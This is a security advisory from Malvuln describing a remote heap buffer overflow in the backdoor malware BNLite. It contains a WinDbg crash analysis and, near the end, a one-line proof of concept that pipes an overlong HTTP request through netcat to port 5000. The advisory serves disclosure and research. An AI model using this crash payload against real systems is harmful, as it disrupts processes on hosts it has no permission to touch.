Share
## https://sploitus.com/exploit?id=PACKETSTORM:165035
Discovery / credits: Malvuln - malvuln.com (c) 2021  
Original source: https://malvuln.com/advisory/a8818da39c7d36d9b5497d1a875798b8.txt  
Contact: malvuln13@gmail.com  
Media: twitter.com/malvuln  
  
Threat: Backdoor.Win32.BNLite  
Vulnerability: Remote Heap Based Buffer Overflow  
Description: The malware listens on TCP port 5000. Third party attackers who can reach the system can send a specially crafted payload to trigger a heap based buffer overflow overwriting the ECX, EDX registers and corrupting memory located on the heap.  
Type: PE32  
MD5: a8818da39c7d36d9b5497d1a875798b8  
Vuln ID: MVID-2021-0407  
Dropped files: procmon.exe  
ASLR: False  
DEP: False  
Safe SEH: True  
Disclosure: 11/21/2021  
  
Memory Dump:  
(1578.f54): Access violation - code c0000005 (first/second chance not available)  
eax=00000000 ebx=00000000 ecx=41414141 edx=41414141 esi=00000003 edi=00000003  
eip=7770ed3c esp=0019f3b4 ebp=0019f544 iopl=0 nv up ei pl nz na pe nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000206  
ntdll!ZwWaitForMultipleObjects+0xc:  
7770ed3c c21400 ret 14h  
  
0:000> .ecxr  
eax=00004141 ebx=02477958 ecx=41414141 edx=41414141 esi=02477960 edi=02430000  
eip=776e2d6a esp=0019fcf0 ebp=0019feb0 iopl=0 nv up ei pl nz ac po nc  
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010212  
ntdll!RtlpAllocateHeap+0x37a:  
776e2d6a 8b09 mov ecx,dword ptr [ecx] ds:002b:41414141=????????  
  
0:000> !analyze -v  
*******************************************************************************  
* *  
* Exception Analysis *  
* *  
*******************************************************************************  
  
*** WARNING: Unable to verify checksum for procmon.exe  
*** ERROR: Module load completed but symbols could not be loaded for procmon.exe  
Failed calling InternetOpenUrl, GLE=12029  
  
FAULTING_IP:   
ntdll!RtlpAllocateHeap+37a  
776e2d6a 8b09 mov ecx,dword ptr [ecx]  
  
EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff)  
ExceptionAddress: 776e2d6a (ntdll!RtlpAllocateHeap+0x0000037a)  
ExceptionCode: c0000005 (Access violation)  
ExceptionFlags: 00000000  
NumberParameters: 2  
Parameter[0]: 00000000  
Parameter[1]: 41414141  
Attempt to read from address 41414141  
  
PROCESS_NAME: procmon.exe  
  
ERROR_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_CODE: (NTSTATUS) 0xc0000005 - The instruction at 0x%p referenced memory at 0x%p. The memory could not be %s.  
  
EXCEPTION_PARAMETER1: 00000000  
  
EXCEPTION_PARAMETER2: 41414141  
  
READ_ADDRESS: 41414141   
  
FOLLOWUP_IP:   
procmon+1966  
00401966 a3c6304000 mov dword ptr [procmon+0x30c6 (004030c6)],eax  
  
MOD_LIST: <ANALYSIS/>  
  
NTGLOBALFLAG: 0  
  
APPLICATION_VERIFIER_FLAGS: 0  
  
FAULTING_THREAD: 00000f54  
  
BUGCHECK_STR: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141  
  
PRIMARY_PROBLEM_CLASS: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_41414141  
  
DEFAULT_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_41414141  
  
LAST_CONTROL_TRANSFER: from 776e16b7 to 776e2d6a  
  
STACK_TEXT:   
0019feb0 776e16b7 00000449 00000458 02439328 ntdll!RtlpAllocateHeap+0x37a  
0019ff00 776e13ee 00100008 00000000 00000000 ntdll!RtlpAllocateHeapInternal+0x2b7  
0019ff18 74a10cd4 02430000 00100008 00000449 ntdll!RtlAllocateHeap+0x3e  
0019ff68 00401966 00000040 00000449 0019ff94 KERNELBASE!GlobalAlloc+0x64  
WARNING: Stack unwind information not available. Following frames may be wrong.  
0019ff78 0040125b 0000037c 77408654 00326000 procmon+0x1966  
0019ff94 77704a77 00326000 1cd497cc 00000000 procmon+0x125b  
0019ffdc 77704a47 ffffffff 77729eb4 00000000 ntdll!__RtlUserThreadStart+0x2f  
0019ffec 00000000 00401000 00326000 00000000 ntdll!_RtlUserThreadStart+0x1b  
  
  
STACK_COMMAND: !heap ; ~0s; .ecxr ; kb  
  
SYMBOL_STACK_INDEX: 4  
  
SYMBOL_NAME: procmon+1966  
  
FOLLOWUP_NAME: MachineOwner  
  
MODULE_NAME: procmon  
  
IMAGE_NAME: procmon.exe  
  
DEBUG_FLR_IMAGE_TIMESTAMP: 3aa07951  
  
FAILURE_BUCKET_ID: ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_FILL_PATTERN_41414141_c0000005_procmon.exe!Unknown  
  
BUCKET_ID: APPLICATION_FAULT_ACTIONABLE_HEAP_CORRUPTION_heap_failure_buffer_overrun_STRING_DEREFERENCE_INVALID_POINTER_READ_FILL_PATTERN_41414141_procmon+1966  
  
  
Exploit/PoC:  
python -c "print('GET /'+'A'*10000+' HTTP/1.1\r\n\r\n')" | nc64.exe x.x.x.x 5000  
  
  
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occurring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).